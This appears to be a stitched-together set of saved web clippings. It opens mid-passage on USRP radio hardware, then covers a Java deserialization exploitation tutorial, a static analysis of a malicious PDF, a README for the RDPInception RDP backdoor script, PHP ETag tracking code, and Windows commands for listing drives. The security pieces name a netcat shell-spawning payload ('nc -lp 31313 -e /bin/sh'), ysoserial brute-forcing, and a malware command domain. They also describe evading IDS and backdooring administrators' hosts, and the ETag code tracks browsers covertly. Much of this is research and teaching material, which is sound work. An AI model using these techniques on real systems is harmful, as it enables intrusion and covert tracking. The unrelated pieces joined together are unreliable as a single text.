produces 400 Ms/s based analog output. The auxiliary DACs are the dual 12-bit
AD5623. As we can see, the Gb-Ethernet allow a significant higher troughput
for the USRP2 compared to USRP1 with USB 2.0 and the theoretically data rate
of 125 MB/s allows for a theoretical \(complex\) RF bandwidth of about 31,25
MHz.

###  The FPGA

I know that we say that a lot, but it's very important for a GnuRadio user to
understand what goes to the FPGA. So the FPGA "plays a key role in the GNU
Radio system" \(according to GnuRadio documentation\). The FPGA is like a
small, massively parallel computer that performs high bandwidth math to reduce
the data rates to something we can manageably transfer over the USB2.0 link
\(USRP1\) or Gb-Ethernet \(USRP2\). With the USRP1, it can only be
reprogrammed other the USB2 bus, and with the USRP2 the FPGA has to be loaded
as well as the firmware on the SD Card.

The FPGA includes a Digital Down-Converter \(DDC\) implemented with Cascaded
Integrator-Comb \(CIC\) filters, which are very high-performance filters that
use only adds and delays. The purpose of DDCs is to mixe the signal the signal
to a lower frequency and reduce the sample rate while retaining all the
information.

  
**Figure 2. Digital Down Converter Block Diagram**

<img src='img/Temp2_4587.png' width='503' height='383' alt='Digital Down-
Converter' />

As we can see, there are two signal I \(In-Phase\) and Q \(Quadrature,
dephased by 90°\). All you should know is that with this method, it is
possible to demodulate every type of modulation. So we can receive AM, FM,
BLU, etc. And the digitized signal will be converted thanks to a DAC,
amplified and reproducted on a speaker \(in the case of Radio FM, for
example\). With a decimation factor equal to N, so at the digital spectrum the
low pass filter selects out the band \[-Fs/N, Fs/N\], and then the down
sampler de-spread the spectrum from \[-Fs, Fs\] to \[-Fs/N, Fs/N\]. Indeed, We
can simply subtain 32MB/s across the USB in the case of USRP1.

In transmit direction, the exact inverse is performed using Digital Upp
Converters \(DUC\).

Between ACD and DDC, there is something very important to select which ACD is
connected to each DDC input, and it's a MUX.

  
**Figure 3. Block diagram with the MUX**

<img src='img/Temp2_4586.png' width='635' height='357' alt='Block diagram with
the MUX' />

[code]

    Mux value:
    
        3                   2                   1
      1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0
     +-------+-------+-------+-------+-------+-------+-------+-------+
     |   Q3  |   I3  |   Q2  |   I2  |   Q1  |   I1  |   Q0  |   I0  |
     +-------+-------+-------+-------+-------+-------+-------+-------+
    
     Each 4-bit I field is either 0,1,2,3
     Each 4-bit Q field is either 0,1,2,3 or 0xf (input is const zero)
     All Q's must be 0xf or none of them may be 0xf
    
[/code]

The MUX is like a circuit switcher and we can control it using
usrp.set\_mux\(\) method from GnuRadio in Python. We tell each DDC input \(I0,
Q0, I1 ... I3, Q3\) which ADC it is connected to by using 4 bits \(0, 1, 2, 3
or 0xf\). A 32-bit integer is sufficient for all 8 DDC inputs to know to which
ADC they are connected. Of course an integer in hexadecimal system will be
more convenient if we want to use the set\_mux\(\) method. For most real
sampling applications, the Q input of each DDC is a constant zero. So quite
often we don't need to modify the standard configuration of the FPGA. Actually
it is anticipated that the majority of USRP users will never need to use
anything other than the standard FPGA configuration.

###  Daughter boards

About daughter boards and USRP, a lot of people ask the question for example:
“What is the precise set to study GSM”. All you should know is that every
radio device uses a bandwidth to communicate and everything depends on
modulation, coding and encryption. But is not as simple as it is shown on
conferences and papers. Indeed, you need to get this step-by-step, reading a
lot and practicing.

On the USRP1 motherboard there are 4 slots and 2 slots on the USRP2, and each
slot has access to the hight-speed AD/DA converters. You can plug Rx, Tx, RFx
daughter board \(DAC outputs for TX, ADC inputs for RX\).

BasicTX and BasicRX |  $75.00 |  1 MHz to 250 MHz Transmitter and Receiver |  Designed for use with external RF frontends as an intermediate frequency \(IF\) interface. The ADC inputs and DAC outputs are directly transformer-coupled to SMA connectors \(50Ω impedance\) with no mixers, filters, or amplifiers.   
---|---|---|---  
LFTX and LFRX |  $75.00 |  DC to 30 MHz Transmitter and Receiver |  The LFTX and LFRX are very similar to the BasicTX and BasicRX, respectively, with 2 main differences. Because the LFTX and LFRX use differential amplifiers instead of transformers, their frequency response extends down to DC. The LFTX and LFRX also have 30 MHz low pass filters for antialiasing.   
TVRX |  $100.00 |  50 MHz to 860 MHz Receiver |  The TVRX daughterboard is a complete VHF and UHF receiver system based on a TV tuner module. Simply connect an antenna, and you can receive a 6 MHz wide block of spectrum from anywhere in the 50-860 MHz range. All tuning and AGC functions can be controlled from software. This board is useful for much more than just receiving television\! Typical noise figure is 8 dB.   
DBSRX |  $150.00 |  800 MHz to 2.4 GHz Receiver |  The DBSRX is a complete receiver system for 800 MHz to 2.4 GHz with a 3-5 dB noise figure. The DBSRX features a software controllable channel filter which can be made as narrow as 1 MHz, or as wide as 60 MHz. The DBSRX frequency range covers many bands of interest, including all GPS and Galileo bands, the 902-928 Mhz ISM band, cellular and PCS, the Hydrogen and Hydroxyl radio astronomy bands, DECT, and many more. The DBSRX is MIMO capable, and can power an active antenna via the coax.   
RFX400 |  $275.00 |  400 to 500 MHz Transceiver |  Coverage of public safety, low-power unlicensed devices, motes, amateur radio and TV bands.   
RFX900 |  $275.00 |  750 to 1050 MHz Transceiver |  For use with cellular, paging, motes and two-way radio, in addition to the ISM band.   
RFX1200 |  $275.00 |  1150 to 1450 MHz Transceiver |  Coverage of navigation, satellite, and amateur bands.   
RFX1800 |  $275.00 |  1.5 to 2.1 GHz Transceiver |  Coverage of DECT, US-DECT, and PCS \(including unlicensed\) frequencies.   
RFX2400 |  $275.00 |  2.3 to 2.9 GHz Transceiver |  The RFX2400 comes with a bandpass filter around the ISM band \(2400-2483 MHz\). The filter can be easily bypassed, allowing for coverage of the full frequency range.   
XCVR2450 |  $400.00 |  2.3 to 2.9 GHz Transceiver |  The XCVR2450 covers both the ISM band at 2.4 GHz and the entire 4.9 to 5.9 GHz band, including the public safety, UNII, ISM, and Japanese wireless bands.   
WBX |  $450.00 |  50 MHz to 2.2 GHz Transceiver |  The frequency range of the WBX covers many bands of interest, including white spaces, broadcast television, public safety, land-mobile communications, low-power unlicensed devices, wireless sensor networks, cell phones and six amateur radio bands.   
##  Next

# Attacking Java Deserialization

**Created:**| _9/4/2017 9:32:07 AM_  
---|---  
**Updated:**| _9/4/2017 9:32:07 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

##### Exploitation

# Attacking Java Deserialization

<img src='img/Serialization.png' width='563' height='147' />

Deserialization vulnerabilities are far from new, but exploiting them is more
involved than other common vulnerability classes. During a recent client
engagement I was able to take advantage of Java deserialization to gain a
foothold on a server from where I was able to obtain root access to tens of
servers spanning pre-production and production environments across multiple
data centres. The vulnerability I discovered had previously survived multiple
pentests and I would have missed it too if I hadn’t had prior exposure to Java
\(de\)serialization.

In this blog post I’ll attempt to clear up some confusion around
deserialization vulnerabilities and hopefully lower the bar to entry in
exploiting them using readily available tools. I’ll be focusing on Java,
however the same concepts apply to other languages. I’ll also be focusing on
command execution exploits in order to keep things simple.

I spoke about this topic at SteelCon this year and will also be speaking on
the topic at BSides Manchester and BSides Belfast \(on that note, I’m also
speaking about poking one of Java’s back doors at 44con this year\)\!

**Update \(22/08/2017\):** A references section has been added at the end of
the article listing the links mentioned throughout the article.

## \(De\)serialization

Briefly, serialization is the process of converting runtime variables and
program objects into a form that can be stored or transmitted. Deserialization
is the reverse process that converts the serialized form back into in-memory
variables and program objects. The serialized form could be a text-based
format such as JSON or XML, or a binary format. Many higher level languages
such as C\#, Java, and PHP have built-in support for data serialization which
is trivial to use and saves the developer from having to implement these
routines themselves. In this blog post I’ll be focusing on Java’s built-in
serialization format but other formats can come with similar risks \(check out
Alvaro Muñoz and Oleksandr Mirosh’s Black Hat USA 2017 and Def Con 25 talk
Friday the 13th: JSON Attacks for more on this\).

### What’s the Problem?

The use of \(de\)serialization isn’t a problem itself. Problems arise when a
user \(attacker\) can control the data being deserialized, for example if data
can be delivered to the deserialization routine over a network connection. If
an attacker has control of data being deserialized, then they have some
influence over in-memory variables and program objects. Subsequently, if an
attacker can influence in-memory variables and program objects, then they can
influence the flow of code that uses those variables and objects. Let’s look
at an example of Java deserialization:

12345678910 | public class Session \{ public String username; public boolean loggedIn; public void loadSession\(byte\[\] sessionData\) throws Exception \{ ObjectInputStream ois = new ObjectInputStream\(new ByteArrayInputStream\(sessionData\)\); this.username = ois.readUTF\(\); this.loggedIn = ois.readBoolean\(\); \}\}  
---|---  
The _‘loadSession’_ method accepts an array of bytes as a parameter and
deserializes a string and a boolean from that byte array into the
_‘username’_ and  _‘loggedIn’_ properties of the object. If an attacker can
control the contents of the  _‘sessionData’_ byte array passed to this method
then they can control these object properties. The following is an example of
how this Session object might be used:

123456789 | public class UserSettingsController \{ public void updatePassword\(Session session, String newPassword\) throws Exception \{ if\(session.loggedIn\) \{ UserModel.updatePassword\(session.username, newPassword\); \} else \{ throw new Exception\("Error: User not logged in."\); \} \}\}  
---|---  
If the session is logged in then the password for the user whose username is
stored in the session is updated to the given value. This is a simple example
of a  _‘POP Gadget’_ , a snippet of code that we have some control over via
the properties of an object.

### Property-Oriented Programming

When we control object properties and use them to influence the flow of code
execution in this way we are doing what’s known as  _‘property-oriented
programming’_. A POP gadget is a code snippet that we can influence to our
advantage by manipulating the properties of some object. Often multiple
gadgets will need chaining in order to create a complete exploit. We can think
of this as high-level ROP \(return-oriented programming – a technique used in
memory corruption exploits\) except that instead of a ROP gadget pushing a
value onto the stack, a POP gadget might allow us to write some data to a
file.

An important point here is that a deserialization exploit does not involve
sending classes or code to the server to execute. We’re simply sending the
properties of classes that the server is already aware of in order to
manipulate existing code that deals with those properties. A successful
exploit hence relies on knowledge of the code that can be manipulated through
deserialization. This is where a lot of the difficulty in exploiting
deserialization vulnerabilities stems from.

### Interesting Gadgets

POP gadgets can exist anywhere in a program, the only requirements are that
the code can be manipulated using the properties of deserialized objects, and
that an attacker can control the data being deserialized. Some gadgets are of
greater interest, however, because their execution is more predictable. In
Java, a serializable class can define a method named  _‘readObject‘_ which can
be used to perform special handling during deserialization \(for example
supporting backwards compatibility\). This method can also be used to respond
to the event of an object of that class being deserialized. An example use of
this method might be for a database manager object to automatically establish
a connection to the database when it is deserialized into memory. Most Java
serialization exploits take advantage of the code within these readObject
methods because the code is guaranteed to be executed during deserialization.

## Exploiting Deserialization

To exploit a deserialization vulnerability we need two key things:

  1. An entry point that allows us to send our own serialized objects to the target for deserialization.
  2. One or more code snippets that we can manipulate through deserialization.

### Entry Points

We can identify entry points for deserialization vulnerabilities by reviewing
application source code for the use of the class
_‘java.io.ObjectInputStream’_ \(and specifically the _‘readObject’_ method\),
or for serializable classes that implement the  _‘readObject’_ method. If an
attacker can manipulate the data that is provided to the ObjectInputStream
then that data presents an entry point for deserialization attacks.
Alternatively, or if the Java source code is unavailable, we can look for
serialized data being stored on disk or transmitted over the network, provided
we know what to look for\!

<img src='img/Serialization-wh.png' width='563' height='68' />

The Java serialization format begins with a two-byte magic number which is
always hex 0xAC ED. This is followed by a two-byte version number. I’ve only
ever seen version 5 \(0x00 05\) but earlier versions may exist and in future
later versions may also exist. Following the four-byte header are one or more
content elements, the first byte of each should be in the range 0x70 to 0x7E
and describes the type of the content element which is used to infer the
structure of the following data in the stream. For more details see Oracle’s
documentation on the Object Serialization Stream Protocol.

People often say to look for the four-byte sequence 0xAC ED 00 05 in order to
identify Java serialization, and in fact some IDS signatures look for this
sequence to detect attacks. During my recent client engagement I didn’t
immediately see those four bytes because the target client application kept a
network connection to the server open the entire time it was running and the
four-byte header only exists once at the very beginning of a serialization
stream. The client’s IDS missed my attacks for this reason – my payloads were
sent later in the stream and separately from the serialization header.

We can use an ASCII dump to help identify Java serialization data without
relying on the four-byte 0xAC ED 00 05 header.

<img src='img/Serialization-oi.png' width='563' height='145' />

The most obvious indicator of Java serialization data is the presence of Java
class names in the dump, such as  _‘java.rmi.dgc.Lease’_. In some cases Java
class names might appear in an alternative format that begins with an  _‘L’_ ,
ends with a  _‘;’_ , and uses forward slashes to separate namespace parts and
the class name \(e.g.  _‘Ljava/rmi/dgc/VMID;’_\). Along with Java class names,
there are some other common strings that appear due to the serialization
format specification, such as  _‘sr’_ which may represent an object
\(TC\_OBJECT\) followed by its class description \(TC\_CLASSDESC\), or  _‘xp’_
which may indicate the end of the class annotations \(TC\_ENDBLOCKDATA\) for a
class which has no super class \(TC\_NULL\).

Having identified the use of serialized data, we need to identify the offset
into that data where we can actually inject a payload. The target needs to
call  _‘ObjectInputStream.readObject’_ in order to deserialize and instantiate
an object \(payload\) and support property-oriented programming, however it
could call other ObjectInputStream methods first, such as  _‘readInt’_ which
will simply read a 4-byte integer from the stream. The readObject method will
read the following content types from a serialization stream:

  * 0x70 – TC\_NULL
  * 0x71 – TC\_REFERENCE
  * 0x72 – TC\_CLASSDESC
  * 0x73 – TC\_OBJECT
  * 0x74 – TC\_STRING
  * 0x75 – TC\_ARRAY
  * 0x76 – TC\_CLASS
  * 0x7B – TC\_EXCEPTION
  * 0x7C – TC\_LONGSTRING
  * 0x7D – TC\_PROXYCLASSDESC
  * 0x7E – TC\_ENUM

In the simplest cases an object will be the first thing read from the
serialization stream and we can insert our payload directly after the 4-byte
serialization header. We can identify those cases by looking at the first five
bytes of the serialization stream. If those five bytes are a four-byte
serialization header \(0xAC ED 00 05\) followed by one of the values listed
above then we can attack the target by sending our own four-byte serialization
header followed by a payload object.

In other cases, the four-byte serialization header will most likely be
followed by a TC\_BLOCKDATA element \(0x77\) or a TC\_BLOCKDATALONG element
\(0x7A\). The former consists of a single byte length field followed by that
many bytes making up the actual block data and the latter consists of a four-
byte length field followed by that many bytes making up the block of data. If
the block data is followed by one of the element types supported by readObject
then we can inject a payload after the block data.

I wrote a tool to support some of my research in this area,
SerializationDumper, which we can use to identify entry points for
deserialization exploits. The tool parses Java serialization streams and dumps
them out in a human-readable form. If the stream contains one of the element
types supported by readObject then we can replace that element with a payload
object. Below is an example of its use:

1234567891011 | $ java -jar SerializationDumper-v1.0.jar ACED00057708af743f8c1d120cb974000441424344STREAM\_MAGIC - 0xac edSTREAM\_VERSION - 0x00 05Contents TC\_BLOCKDATA - 0x77 Length - 8 - 0x08 Contents - 0xaf743f8c1d120cb9 TC\_STRING - 0x74 newHandle 0x00 7e 00 00 Length - 4 - 0x00 04 Value - ABCD - 0x41424344  
---|---  
In this example the stream contains a TC\_BLOCKDATA followed by a TC\_STRING
which can be replaced with a payload.

Objects in a serialization stream are instantiated as they are loaded, rather
than after the entire stream has been parsed. This fact allows us to inject
payloads into a serialization stream without worrying about correcting the
remainder of the stream. The payload will be deserialized and executed before
any kind of validation happens and before the application attempts to read
further data from the serialization stream.

### POP Gadgets

Having identified an entry point that allows us to provide our own serialized
objects for the target to deserialize, the next thing we need are POP gadgets.
If we have access to the source code then we can look for  _‘readObject’_
methods and code following calls to  _‘ObjectInputStream.readObject’_ in order
to work out what potential gadgets exist.

Often we don’t have access to application source code but this doesn’t prevent
us from exploiting deserialization vulnerabilities because there are lots of
commonly used third-party libraries that can be targeted. Researchers
including Chris Frohoff and Gabriel Lawrence have already found POP gadget
chains in various libraries and released a tool called _‘ysoserial‘_ that can
generate payload objects. This tool greatly simplifies the process of
attacking Java deserialization vulnerabilities\!

There are a lot of gadget chains included in ysoserial so the next step is to
work out which, if any, can be used against the target. Background knowledge
about the third-party libraries used by the application, or an information
disclosure issue, should be the first port of call. If we know which third-
party libraries are used by the target then we can select the appropriate
ysoserial payload\(s\) to try. Unfortunately this information might not be
readily available in which case we can, with caution, cycle through the
various ysoserial gadget chains until we find one we can use. Care should be
taken with this approach as there is always a risk of triggering an unhandled
exception and crashing the target application. The target would have to be
particularly unstable for this to happen, however, as even an nmap version
scan would likely cause the target to crash if it couldn’t handle
unexpected/malformed data.

If the target application responds to a ysoserial payload with a
_‘ClassNotFoundException’_ then chances are that the library targeted by the
chosen gadget chain is not available to the target application. A
_‘java.io.IOException’_ with the message  _‘Cannot run program’_ likely means
that the gadget chain worked, however the operating system command that the
gadget chain attempted to execute was not available on the server.

The ysoserial command execution payloads are blind payloads and the command
output is not returned. There are also a couple of limitations due to the use
of  _‘java.lang.Runtime.exec\(String\)’_. The first is that shell operators
such as output redirection and piping are not supported. The second is that
parameters to the payload command cannot contain spaces \(e.g. we can use _“nc
-lp 31313 -e /bin/sh”_ but we can’t use  _“perl -e ‘use Socket;…'”_ because
the parameter to perl contains a space\). Fortunately there’s a nice payload
encoder/generator available online which can get around these limitations
here: http://jackson.thuraisamy.me/runtime-exec-payloads.html.

## Try it Yourself – DeserLab and SerialBrute

It’s important to understand serialization and how deserialization exploits
work \(e.g. property-oriented programming\) in order to effectively exploit
deserialization vulnerabilities. Doing so is still more involved than other
common vulnerability classes so it’s helpful to have a target to practice on.
Along with this blog post, I’ve created and released a demo application called
_‘DeserLab‘_ that implements a custom network protocol on top of the Java
serialization format. The application is vulnerable to deserialization attacks
and should be exploitable using the information provided in this blog post.

_‘SerialBrute‘_ is a pair of Python scripts that I wrote and use to automate
testing of ysoserial payloads against arbitrary targets. The first,
_SerialBrute.py’_ , can replay a TCP conversation or HTTP request and inject a
payload at a given point while the second,  _‘SrlBrt.py’_ is a skeleton script
that can be altered to deliver payloads where special processing is needed.
Both attempt to detect valid and invalid payloads by looking at returned
exceptions. These scripts are not intended to be full blown or polished attack
tools and should be used with caution due to the risk of knocking an
application over but I’ve personally had great success replaying TCP
conversations and injecting ysoserial gadget chains.

Thanks for reading\! Have a go at DeserLab if this is something you’re
interested in and if there’s anything I’ve missed, anything that could do with
further explanation, or you have any questions or feedback please leave a
comment or get in touch on Twitter \(@NickstaDB\)\!

### References

The following references, mostly mentioned throughout this blog post, may be
useful in learning more about \(de\)serialization vulnerabilities and
exploits.

The following presentations cover property-oriented programming \(POP\) and,
for those who are interested, return-oriented programming \(ROP\). Note that
the ROP presentation is only mentioned due to the similarities with POP \(i.e.
controlling existing code\); the ROP technique itself is not relevant to
deserialization exploits.

  * Utilizing Code Reuse/ROP in PHP Application Exploits – Stefan Esser, Black Hat USA 2010 \(https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf\)
  * Return-oriented Programming: Exploitation without Code Injection – Erik Buchanan et al, Black Hat USA 2008 \(https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH\_US\_08\_Shacham\_Return\_Oriented\_Programming.pdf\)

The following articles and presentations discuss PHP and Java deserialization
vulnerabilities:

  * Unserializing user-supplied data, a bad idea \(https://heine.familiedeelstra.com/security/unserialize\)
  * CVE-2011-2894: Deserialization Spring RCE \(http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/\)
  * What do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and your application have in common? This Vulnerability \(https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/\)
  * Practical PHP Object Injection \(https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf\)

The following talk looks at deserialization vulnerabilities in JSON and XML
libraries for Java and .NET:

  * Friday the 13th: JSON Attacks – Alvaro Muñoz and Oleksandr Mirosh, Black Hat USA 2017 \(https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf\)

The following sections of the Java documentation describe the serialization
data format and the Serializable interface:

  * Object Serialization Stream Protocol \(https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html\)
  * Interface java.io.Serializable \(https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html\)

The tools mentioned throughout this blog post can be found at the following
links:

  * ysoserial deserialization payload generator \(https://github.com/frohoff/ysoserial/\)
  * Runtime.exec\(\) payload encoder \(http://jackson.thuraisamy.me/runtime-exec-payloads.html\)
  * SerializationDumper \(https://github.com/NickstaDB/SerializationDumper\)
  * SerialBrute \(https://github.com/NickstaDB/SerialBrute/\)
  * DeserLab \(https://github.com/NickstaDB/DeserLab\)

Finally, the following people have done significant work around Java
deserialization exploitation:

  * Chris Frohoff \(https://twitter.com/frohoff\)
  * Gabriel Lawrence \(https://twitter.com/gebl\)
  * Matthias Kaiser \(https://twitter.com/matthias\_kaiser\)
  * Alvaro Muñoz \(https://twitter.com/pwntester\)

Advertisements

**Tags:** Deserialization, Java, Serialization

  

# Static analysis of malicious PDFs

**Created:**| _1/7/2010 7:32:55 AM_  
---|---  
**Updated:**| _1/7/2010 7:33:07 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

Static analysis of malicious PDFs

Published: 2010-01-07,  
Last Updated: 2010-01-07 01:01:21 UTC  
by Daniel Wesemann \(Version: 1\)

1 comment\(s\) <img src='img/Temp2_7711.png' height='16' alt='Facebook'
/>acebook <img src='img/Temp2_7709.png' />witter

While we are still waiting for the patch and the malicious PDFs which exploit
CVE-2009-4324 become more and more nasty, here's another quick excursion in
dissecting and analyzing hostile PDF files. We'll take a closer look at the
sample that fellow ISC Handler Bojan already analyzed, but will this time do a
static analysis without actually running the hostile code.

$md5sum Requset.pdf  
192829aa8018987d95d127086d483cfc Requset.pdf  
$ls -ald Requset.pdf  
-rw-r----- 1 daniel handlers 952206 2010-01-03 23:57 Requset.pdf
One of the tools that work very well to analyze PDFs is Didier Stevens' excellent script "pdf-parser.py" . Running pdf-parser.py -f Requset.pdf | more nicely dissects the PDF into its portions, and also de-compresses packed sections. Almost at the end of the output, we encounter Object \#44: 
<img src='img/Temp2_7710.png' width='465' height='363' />

  
The code is included here as an image, to keep your anti-virus from panicking.
The blue box marks the surprisingly short and efficient shell code block of
only 38 bytes length that Bojan mentioned in his earlier diary. The red box
marks the call to "media.newPlayer" with a null argument, which is a tell-tale
sign of an exploit for CVE 2009-4324, the currently still unpatched Adobe
vulnerability.

If all we wanted to know is whether this PDF is hostile, we can stop here:
Yes, it is.

Taking a completely different tack on the same sample, a brute force method in
analysis that often works, and also works in this case, is to check the sample
for XOR encoded strings. XORSearch, another one of Didier Stevens' cool tools
\(URL\) helps with this task. Let's check if the sample contains a XOR encoded
representation of the string "http"

$ XORSearch Requset.pdf http

Found XOR 00 position E6340: http://www.w3.org/1999/02/22-rdf-syntax-ns\#">.  
Found XOR 00 position E63A9: http://ns.adobe.com/xap/1.0/">. <xmp:Modif  
\[...etc...\]  
Found XOR 85 position D870: http://www.w3.org/1999/02/22-rdf-syntax-ns\#'
xmlns  
Found XOR 85 position D8A7: http://ns.adobe.com/iX/1.0/'>..<rdf:Description rd  
Found XOR 85 position DAD4: http://ns.adobe.com/xap/1.0/mm/' xapMM:DocumentID=  
Found XOR 85 position DB86: http://purl.org/dc/elements/1.1/' dc:format='appli  
Found XOR 85 position 1054D: httpshellopencomMand.SoftwareMicrosoftActive

Well, a XOR with zero is not overly exciting, all this means is that the file
contains these URLs in plain text. But a XOR with 85, and one that seems to be
doing some sort of shell.open ... now that's intriguing. Let's simply XOR the
entire PDF file with 0x85, and see what we get:

$cat Requset.pdf | perl -pe 's/\(.\)/chr\(ord\($1\)^0x85\)/ge' |strings | more
gfJV  
w\)pf  
S>S2X4  
\[...etc...\]  
z<o\*  
7Fpo  
\!This program cannot be run in DOS mode.  
L8Rich  
M\_\*K  
.text  
\`.rdata

Now lookie, it seems as if this PDF contains an embedded executable\! And a
bit further down in the de-xored file, we find

hepfixs.exe  
baby  
\{38FC368D-A5D0-21DA-0404-080501030704\}  
cecon.flower-show.org  
ws2\_32  
SOFTWAREClasseshttpshellopencomMand  
SoftwareMicrosoftActive SetupInstalled Components

This gives us a potential domain name \(cecon.flower-show. org\), and also a
ClassID. Searching for \{38FC368D-A5D0-21DA-0404-080501030704\} in Google, we
find a recent ThreatExpert analysis
http://www.threatexpert.com/report.aspx?md5=b0eeca383a7477ee689ec807b775ebbb
that matches perfectly to what we found within this PDF.

  
Given the time later during my 24hr shift here at the ISC, I'll post another
diary to take a look at other hostile PDF samples that we received. If you got
any interesting potentially hostile PDFs, please send them in\!

# mdsecactivebreach/RDPInception

**Created:**| _7/17/2017 11:35:20 AM_  
---|---  
**Updated:**| _7/17/2017 11:35:20 AM_  
**Author:**| __  
**Tags:**| _windows environment rdp_  
  

  

# Disclaimer

As usual, this code and tool should not be used for malicious purposes.

# WARNING

This code is weaponised but with no damage. Do not execute if you are not
aware of the consequences or what this code does.

# Credits

Authored by Vincent Yiu \(@vysecurity\) of MDSec ActiveBreach

# RDPInception

A bat script that will backdoor the host that is mounting drives whilst RDPing
into an infected machine. This process repeats if a systems administrator is
for example: Laptop -> RDP -> RDP -> RDP -> RDP -> Server.

The intention of this script is to allow security testers and red teamers to
obtain code execution in the management network or a segregated part of the
network where the target machine cannot communicate back out to the privileged
network context.

We have found this attack useful in some of our red team and adversary
simulation engagements.

# Aggressor Script

  1. Load RDPInception
  2. Run rdpinception command
  3. Select HTTP, HTTPS or DNS beacon that can egress.

# Usage

  1. Modify batch file to execute PowerShell stager, EXE or even DLL.
  2. Upload to the target, execute.

  

# laxu - E-Tags: \(Mozilla\) Cache Cookies

**Created:**| _8/21/2013 8:46:28 AM_  
---|---  
**Updated:**| _8/21/2013 8:46:28 AM_  
**Author:**| __  
**Tags:**| _privacy rfc_  
  

# **\(** Mozilla\) Cache Cookies****

Der HTTP-RFC sieht ein sogenanntes ETag vor**.** Das darf der Server frei
generieren, und der Client sendet es, wenn er eine gecachte Version der Seite
hat**.**

Sie haben \(noch\) **kein** "Cache-Cookie"**.** Daher wurde eins mit einer
zufälligen ID erstellt: _361158255_

Die ID kann gelöscht durch komplettes neuladen\(Strg+**Shift** +r\) gelöscht
werden, oder verfällt automatisch sobald der Browser die Seite aus seinem
Cache löscht**.**

## Source****

License: public domain

` <**?**  
$tracker=(isset($_SERVER['HTTP_IF_NONE_MATCH']))**?**
$_SERVER['HTTP_IF_NONE_MATCH'] : "";  
if($tracker==""){  
$tracker=rand();  
}  
header("ETag: $tracker");  
**?** >  
<**?**  
if($_SERVER['HTTP_IF_NONE_MATCH']==""){  
**?** >  
Sie haben (noch) <b>kein</b> "Cache-Cookie"**.**  
Daher wurde eins mit einer zufälligen ID erstellt:  
<i><**?** echo $tracker **?** ></i>  
<?  
}else{  
?>  
Sie haben <b>ein</b> "Cache-Cookie"**.** Die ID ist: <i><?echo $tracker;?></i>  
<**?**  
}  
?>  
`

****

# Another Way to Circumvent Intel® Trusted Execution Technology

**Created:**| _12/24/2009 11:44:29 AM_  
---|---  
**Updated:**| _12/24/2009 11:45:03 AM_  
**Author:**| __  
**Tags:**| _asm Exploit Malware-analysis Errata_  
  
<img src='img/Temp2_847' />

# Command Line Kung Fu: Episode \#59: Lions and Tigers and Shares... Oh
Mount\!

**Created:**| _11/24/2009 7:25:05 PM_  
---|---  
**Updated:**| _11/24/2009 7:25:10 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#59: Lions and Tigers and Shares... Oh Mount\!

Ed fires the initial salvo:  
  
I'm sure it happens all the time. A perfectly rational command shell warrior
sitting in front of a cmd.exe prompt needs to get a list of mounted file
systems to see what each drive letter maps to. Our hero starts to type a given
command, and then backs off, firing up the explorer GUI \(by running
explorer.exe, naturally\) and checking out the alphabet soup mapping c: to the
hard drive, d: to the DVD, f: to his favorite thumb drive, and z: to his Aunt
Zelda's file share \(mapped across the VPN, of course\). While opting to look
at this information in the GUI might be tempting, I think we can all agree
that it is tawdry.  
  
So, how can you get this information at the command line? There are a
multitude of options for doing so, but I do have my favorite. Before letting
the cat out of the bag \(ignore the scratching and muffled meows in the
background\) with my favorite answer, let's visit some of the possibilities.  
  
To get a list of available local shares, you could run:  
  

[code]

    c:\> net share  
      
    Share name   Resource                        Remark  
      
    -------------------------------------------------------------------------------  
    C$           C:\                             Default share  
    IPC$                                         Remote IPC  
    ADMIN$       C:\Windows                      Remote Admin  
    The command completed successfully.
    
[/code]

  
That's a fine start, but it won't show things like your DVD or thumb drives
unless you share them. Also, it leaves out any shares you've mounted across
the network.  
  
Let's see... we could get some more local stuff, including DVDs and thumb
drives, by running wmic:  
  

[code]

    c:\> wmic volume list brief  
    Capacity     DriveType  FileSystem  FreeSpace    Label         Name  
    32210153472  3          NTFS        14548586496  *             C:\  
    2893314048   5          UDF         0            SANS560V0809  D:\  
    16015360000  2          FAT32       8098086912                 E:\
    
[/code]

  
That's pretty cool, and even shows us full capacity and free space. But, it
does have that annoying "DriveType" line with only an integer to tell us the
kind of file system it is. You can look at a variety of sites for the mapping
of these numbers to drive types. However... be warned\! There are a couple of
different mappings depending on the version of Windows you use. On my Vista
box, the mapping is:  
  
0 = Unknown  
1 = No Root Directory  
2 = Removable  
3 = Fixed  
4 = Network  
5 = CD-ROM  
6 = RAM Disk  
  
Other versions of Windows are lacking the "Root Doesn't Exist" item, and all
the numbers \(except 0\) shift down by one.  
  
Uh... thanks, Windows, but it would be nice to get that info without having to
do the cross reference. Plus, we're still missing mounted network shares from
this list. Hmmm....  
  
Well, as we discussed in Episode \#42 on listing and dropping SMB sessions, to
get the list of mounted shares across the network, you could run:  
  

[code]

    c:\> net use  
    New connections will be remembered.  
      
      
    Status       Local     Remote                    Network  
      
    -------------------------------------------------------------------------------  
    OK           Z:        \\10.10.10.9\c$           Microsoft Windows Network  
    The command completed successfully.
    
[/code]

  
Gee, that's nice. It shows you the drive letter and what it's connected to.
But, you know, it's missing the local stuff.  
  
How can we get it all, in an easy-t0-type command and a nice output format?
Well, we could rely on the fsutil command:  
  

[code]

    c:\> fsutil fsinfo drives  
      
    Drives: A:\ C:\ D:\ E:\ Z:\
    
[/code]

  
Ahhh... nicer. At least we've got them all now. But, you know, having just the
letters kinda stinks. What the heck do they actually map to? We could check
individual letter mappings by running:  
  

[code]

    c:\> fsutil fsinfo drivetype z:  
    z: - Remote/Network Drive
    
[/code]

  
But, you know, this is kind of an ugly dead end. I mean, we could write a loop
around this to pull out the info we want, but it's going to be a command that
